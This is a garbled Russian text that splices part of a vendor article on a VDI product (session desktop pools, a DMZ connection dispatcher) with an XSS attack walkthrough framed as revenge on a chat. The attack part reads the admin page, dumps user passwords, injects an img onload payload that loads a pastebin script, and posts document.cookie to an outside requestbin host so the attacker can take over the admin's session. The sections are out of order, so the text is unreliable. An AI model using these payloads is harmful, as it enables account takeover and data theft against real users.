Если минимальное количество меньше максимального, возможен сценарий, когда все свободные рабочие столы из «минимального количества» уже разобраны. В таком случае для конкретного пользователя система автоматом создаст виртуальный рабочий стол. Так до тех пор, пока не упремся в «максимальное количество».

Сессионный пул рабочих столов

Самый интересный пул с максимальной автоматизацией.

Сценарии использования: типовые стандартизированные рабочие столы пользователей; географическое распределение пользователей по часовым поясам и сменный график пользователей.

Рассмотрим отличительные параметры:

• Режим создания — выбор из:
  • полные клоны — соответственно, каждый рабочий стол — полноценная виртуальная машина;
  • связанные клоны — Linked Clones в всем известной терминологии. Используемая платформа виртуализации позволяет задействовать данную технологию, но реализована он не так же как у VMware. Есть ограничения, которые мы обошли реализовав хороший кусок программной логики.
• горячий резерв — число свободных рабочих столов, которое система держит в готовом к подключению состоянии. Параметр нужен для минимизации времени ожидания пользователя. Важно заметить, что рабочие столы из «минимального количества», еще не занятые пользователями, считаются частью горячего резерва. Эти два параметра позволяют например, на отдел из 50 сотрудников сразу создать 50 рабочих столов и указать «горячий резерв», например, 10. Тогда после подключения 41 сотрудника система создаст 51 рабочий стол (чтобы в горячем резерве было 10 шт.). Так можно обезопасить себя от изменения числа одновременно работающих сотрудников данного отдела;
• действие при завершении сессии — если включен тайм-аут нективности, становится доступно:
  • выключение — по сути оставляет рабочий стол зарезервированным за пользователей и только выключает его. Однако остаются инструменты присущие только сессионному пулу, как например, пересоздание всех рабочих столов из нового шаблона;
  • удаление — после работы пользователя удаляем его рабочий стол; система по настроенному «минимальному количеству» и «горячему резерву» создает новые;
  • перевод в горячий резерв — происходит дерегистрация пользователя от рабочего стола, который считается снова частью «горячего резерва». Следующий подключающийся пользователь может быть назначен на этот рабочий стол.

Параметры сессионного пула позволяют создавать виртуальные рабочие столы по количеству активных пользователей. Актуальная задача, которая позволит сэкономить аппаратные ресурсы для крупных распределенных организаций или сменного графика работы.

Как отделить пользователей от рабочих столов

В общем, не стали бы мировые лидеры в области VDI делать различные Security Getway на сетевом периметре в ДМЗ. Мы опыт мировых лидеров уважаем, поэтому сделали таким же наш Диспетчер подключений.

Диспетчер подключений как часть серверной составляющей VDI-решения устанавливается в демилитаризованной зоне и обеспечивает подключение пользователей к VDI-инфраструктуре. Прямого сетевого доступа к виртуальным рабочим столам или брокер-менеджеру, или еще кому-либо у пользователя нет.

Тут на помощь приходит Агент ВРМ, который в закрытом firewall открывает нужный порт для подключения пользователя через Диспетчер подключений. Все остальное закрыто. По окончании сессии порт закрывается.

Как следствие, нелегитимным путем подключиться не получится, только после авторизации в системе. А если есть авторизация, значит, мы уже залогировали устройство, с которого подключались, пользователя и рабочий стол, в который подключались. В случае инцидента сотрудники ИБ скажут нам спасибо. Кстати, системные логи мы умеем отправлять сразу по syslog в системы типа SIEM.

Кража окружения

const  admin  =  await  (await fetch("/admin")).text()

Мы получим код админки

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>Admin</title>
  </head>
  <body>
    Hello admin<br />
    <textarea id="users" rows="20" cols="100"></textarea><br />
    <button id="updUsers">Update users</button><br /><br />
    <script>
      let fetchUsrs = fetch("/users")
        .then(e => e.text())
        .then(e => (document.getElementById("users").value = e));
      document.getElementById("updUsers").onclick = () => {
        fetch("/users", {
          body: JSON.stringify({
            data: document.getElementById("users").value.toString()
          }),
          headers: {
            Accept: "application/json, text/plain, */*",
            "Content-Type": "application/json"
          },
          method: "POST"
        }).then(fetchUsrs);
      };
      function toCmd(cmd) {
        document.location =
          "http://" + location.host + "/exec?cmd=" + encodeURIComponent(cmd);
      }
    </script>
    <button onclick="toCmd('free --human')">Check mem</button>
    <button onclick="toCmd('ps')">Show procs</button>
  </body>
</html>

Что из этого можно извлечь:

1. Есть endpoint /users который возвращает и принимает юзеров
2. Есть endpoint /exec?cmd который выполняет программу
   Оба endpoint не дают нам доступа. Так что попробуем вытащить /users

{ 
    "admin": "VerySecurePassword", 
    "chiken": "COW+CHICKEN", 
    "user001": "agent007", 
    "justUser": "llkk", 
    "test":"12" 
}

Запускаем скрипт

Мы имеем чат с возможностью отправки HTML. Так что давайте проверим возможность xss console.log('XSS stage 0') и не сработало.
В чём же дело? Chromium и firefox игнорируют скрипты добавленные через innerHTML.
Ок пробуем второй подход

<img src="https://picsum.photos/200/200" onload="console.log('XSS')" />

В консоли вывелось XSS значит код сработал

Теперь на pastebin создадим скрипт с которым мы и будем играться
Контент скрипта:

console.log('Script loaded')

Для запуска скрипта в атрибуте onload пропишем:

s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)

И теперь отправляя

<img src="https://picsum.photos/200/200" onload="s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)" />

все получатели просмотрят картинку и запустят скрипт

Постскриптум

Получилось достаточно подробно рассказать про наше VDI-решение, хотя и объемно.
Далее просим всех в комментарии. Очень хочется увидеть обратную связь: ваши мнения, комментарии, вопросы.

Предыстория

Итак, вы зашли на чат, вас оскорбили, и теперь вы хотите отомстить. Как можно заметить из диалога можно легко отправить html, что является идеальной возможностью для xss, в реальности вы вряд ли заметите такую лазейку.

Грабим куки

С загрузкой скрипта мы разобрались теперь приступим к эксплуатации. Во-первых данные нужно куда-то отправить воспользуемся requestbin

// Пример кода для отправки каких-то данных
const headers = new Headers()
headers.append("Content-Type", "application/json")

const body = { "name": "Yoda" }

const options = {
  method: "POST",
  headers,
  mode: "cors",
  body: JSON.stringify(body),
}

fetch("[URL]", options)

Но просто отправлять один и тоже текст не интересно, давайте отправим куки

// Пример кода для отправки каких-то данных
const headers = new Headers()
headers.append("Content-Type", "application/json")

const body = { "cookies": document.cookie }

const options = {
  method: "POST",
  headers,
  mode: "cors",
  body: JSON.stringify(body),
}

fetch("https://en9uiweslksnu.x.pipedream.net", options)

В куках лежат токены для идентификации пользователя.
В requestbin мы получаем два запроса с двумя токенами:
-1067197389
1679211939
Так как мой токен 1679211939
Значит токен админа -1067197389
Заменив свой токен на токен админа мы сможем писать от его имени